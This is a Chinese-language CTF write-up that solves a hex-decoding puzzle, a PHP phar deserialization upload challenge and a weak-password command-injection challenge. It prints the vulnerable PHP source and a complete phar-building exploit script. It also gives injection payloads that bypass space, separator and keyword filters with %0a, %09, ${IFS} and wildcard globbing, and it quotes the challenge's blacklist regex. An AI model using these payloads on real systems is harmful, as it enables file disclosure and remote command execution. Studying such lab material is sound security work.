misc
5_简单的Base
十六进制转一下字符串即可
666c61677b57656c636f6d655f686572657d
flag{Welcome_here}
web
5_web_BaliYun
考点:phar反序列化
经过目录扫描发现 www.zip
index.php
1 2 3 4 5 6 7 8 9 10 11 12
| <?php include("class.php"); if(isset($_GET['img_name'])){ $down = new check_img(); echo $down->img_check(); } if(isset($_FILES["file"]["name"])){ $up = new upload(); echo $up->start(); } ?>
|
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php class upload{ public $filename; public $ext; public $size; public $Valid_ext;
public function __construct(){ $this->filename = $_FILES["file"]["name"]; $this->ext = end(explode(".", $_FILES["file"]["name"])); $this->size = $_FILES["file"]["size"] / 1024; $this->Valid_ext = array("gif", "jpeg", "jpg", "png"); }
public function start(){ return $this->check(); }
private function check(){ if(file_exists($this->filename)){ return "Image already exsists"; }elseif(!in_array($this->ext, $this->Valid_ext)){ return "Only Image Can Be Uploaded"; }else{ return $this->move(); } }
private function move(){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename); return "Upload succsess!"; }
public function __wakeup(){ echo file_get_contents($this->filename); } }
class check_img{ public $img_name; public function __construct(){ $this->img_name = $_GET['img_name']; }
public function img_check(){ if(file_exists($this->img_name)){ return "Image exsists"; }else{ return "Image not exsists"; } } }
|
public function __wakeup(){
echo file_get_contents($this->filename);
}
因为这里存在wakeup函数,但是又不存在反序列化的点,所以我们使用phar反序列化
1
| 我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在2020年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class upload{ public $filename="/flag"; public function __wakeup(){ echo file_get_contents($this->filename); } }
$o = new upload(); @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
运行此文件,会生成一个shell.phar文件,然后我们将shell.phar,改为jpg文件上传上去,
路径为 upload/shell.jpg
借助phar://
执行代码
img_name=phar://upload_file/phar.gif
5_web_letmeguess_1
考点:弱口令,rce,过滤目录分隔符/)、 空格
爆破一下 admin,admin123
过滤的分隔符linux中一些命令分隔符:%0a 、%0d 、; 、& 、| 、&&、||
过滤的空格,可以用%09(tab)、%09、 ${IFS}、$IFS、$IFS$1、${IFS}$、<、<>这些都可以当做空格符作为代替。
过滤了cat,可以用 nl,nl:显示的时候,顺便输出行号
ip=%0anl%09index.php
可以读取源码,太长,贴一下关键
1
| if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m))
|
ip=%0als
ls的时候有一个kylin目录,目录下有一个flag.txt ,但是不能访问
且kylin,flag都被过滤了,我们用问号替换其中一个字符即可
绕过目录分隔符的话,先cd 到这个目录,再去cat即可
/?ip=%0acd%09ky?in%0anl%09f?ag.txt
解法不唯一
参考 phar反序列化
https://www.cnblogs.com/zzjdbk/p/13030571.html
总结
一直在路上